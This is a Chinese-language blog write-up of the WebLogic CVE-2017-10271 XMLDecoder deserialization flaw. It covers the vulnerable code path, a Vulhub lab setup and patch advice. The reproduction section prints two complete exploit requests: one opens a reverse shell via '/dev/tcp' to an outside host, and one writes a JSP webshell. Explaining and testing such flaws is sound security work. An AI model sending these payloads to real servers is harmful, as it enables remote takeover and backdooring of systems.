cve-2017–10271 XMLDecoder 反序列化漏洞原理分析

迈不过友情╰ 2021-09-01 00:04 1129阅读 0赞

**目录**

1.漏洞背景

2.漏洞原理分析

3.漏洞测试

环境搭建

漏洞复现

4.修复建议

--------------------

# 1.漏洞背景 #

Weblogic是oracle推出的application server，由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性，备受广大系统管理员的青睐。根据不完全统计weblogic约占全球市场份额1/3，正因为这么高的占有率，也造成每次weblogic有新的漏洞，都会在业内引起轩然大波。在2017年接近尾声时，weblogic又再次给大家带来了巨大惊喜，CVE-2017-10271漏洞又一次席卷了政府、银行等各大行业。

其实在很早的时候，oracle官方就发布了有关CVE-2017-3506的补丁，由于是采用了黑名单的修复方式，没有彻底将该漏洞进行修复，具体修复代码如下：

由于当时并没有出现大量利用exp，所以此漏洞并没有被大规模利用，早期的补丁由于没有彻底修复，可通过构造相关http请求，依然可以进行远程命令执行。Oracle在后续又再次发布了CVE-2017-10271的补丁，具体补丁信息如下：

![图片.png][.png]

推文上的一篇关于weblogic 0day，可以利用该漏洞进行远程植入挖矿木马的文章引发了大家的注意，随之10271上了各大安全论坛、安全厂商的头条，也正式开启了安全服务商的应急服务。

# 2.漏洞原理分析 #

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞，主要由wls-wsat.war触发该漏洞，触发漏洞url如下： [http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType][http_192.168.xx.xx_7001_wls-wsat_CoordinatorPortType]  post数据包，通过构造构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞。

测试xml代码如下：

![图片.png][.png 1]

Java读取xml文件文件进行反序列化命令执行如下，执行相关java代码即可执行calc，打开计算器

![图片.png][.png 2]

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法如下：

![图片.png][.png 3]

将localheader1带入readHeaderOld，对localHeader1具体定义如下：

localHeader1=localHeaderList.get(WorkAreaConstants.WORK\_AREA\_HEADER,true);

readHeaderOld函数具体如下，创建WorkContextXmlInputAdapter（weblogic/wsee/jaxws/workcontext）

![图片.png][.png 4]

WorkContextXmlInputAdapter类具体如下，此处通过XMLDecoder实现实体和xml内容的转换，随即出现了XMLDecoder反序列化，使得java在调用xml时实现了内容可控。

![图片.png][.png 5]

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter

# 3.漏洞测试 #

## 环境搭建 ##

Vulhub 启动测试环境：

docker-compose up -d

等待一段时间，访问`http://your-ip:7001/`即可看到一个404页面，说明weblogic已成功启动。

## 漏洞复现 ##

发送如下数据包（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 633
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

成功获取shell：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70][]

写入webshell（访问：`http://your-ip:7001/bea_wls_internal/test.jsp`）：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 638
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
        <object class="java.io.PrintWriter"> 
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
        <void method="println"><string>
        <![CDATA[
    <% out.print("test"); %>
        ]]>
        </string>
        </void>
        <void method="close"/>
        </object></java></java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>

# 4.修复建议 #

该漏洞还是给很多行业带来了巨大冲击，就针对山东省而言，多家政府、事业单位也纷纷被攻击者利用该漏洞植入恶意程序，提出以下加固意见：

Ø  Oracle下载相关10271补丁，下载地址如下[http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html][http_www.oracle.com_technetwork_security-advisory_cpuoct2017-3236626.html]；

Ø  根据实际环境路径，删除WebLogicwls-wsat组件；删除相关文件后重启weblogic，保证访问[wls-wsat/][wls-wsat] 提示404错误；

针对该漏洞被恶意利用的单位可查看如下如下路径进行日志查看，具体的路径根据实际安装情况进行查看：

xx:\\xx\\Middleware\\user\_projects\\domains\\base\_domain\\servers\\AdminServer\\logs

具体日志内容如下：

参考资料：

[http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html][http_www.oracle.com_technetwork_security-advisory_cpuoct2017-3236626.html]

[http://pirogue.org/2017/12/29/weblogic-XMLDecoder/][http_pirogue.org_2017_12_29_weblogic-XMLDecoder]

[http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html][http_blog.diniscruz.com_2013_08_using-xmldecoder-to-execute-server-side.html]

[https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271][https_github.com_iBearcat_Oracle-WebLogic-CVE-2017-10271]

[http://www.cnblogs.com/backlion/p/8194324.htm][http_www.cnblogs.com_backlion_p_8194324.htm]

[.png]: /images/20210728/7c3661c99bd24d66abfea293f2250acd.png
[http_192.168.xx.xx_7001_wls-wsat_CoordinatorPortType]: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType
[.png 1]: /images/20210728/d22f927d2035452fb008cf7dfd16e723.png
[.png 2]: /images/20210728/2a340392031b4f11b52cd9617e597654.png
[.png 3]: /images/20210728/179a4515499c4aae820f2f6bd19a4d44.png
[.png 4]: /images/20210728/0e08b46708154fa296d0bf4fd3cf0096.png
[.png 5]: /images/20210728/38fe51dc6b714926bfcf68998431d912.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70]: /images/20210728/6a477c9c7c7843a38d64a70904011c93.png
[http_www.oracle.com_technetwork_security-advisory_cpuoct2017-3236626.html]: http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
[wls-wsat]: http://link.zhihu.com/?target=http%3A//weblogic_ip/wls-wsat/
[http_pirogue.org_2017_12_29_weblogic-XMLDecoder]: http://pirogue.org/2017/12/29/weblogic-XMLDecoder/
[http_blog.diniscruz.com_2013_08_using-xmldecoder-to-execute-server-side.html]: http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
[https_github.com_iBearcat_Oracle-WebLogic-CVE-2017-10271]: https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271
[http_www.cnblogs.com_backlion_p_8194324.htm]: http://www.cnblogs.com/backlion/p/8194324.html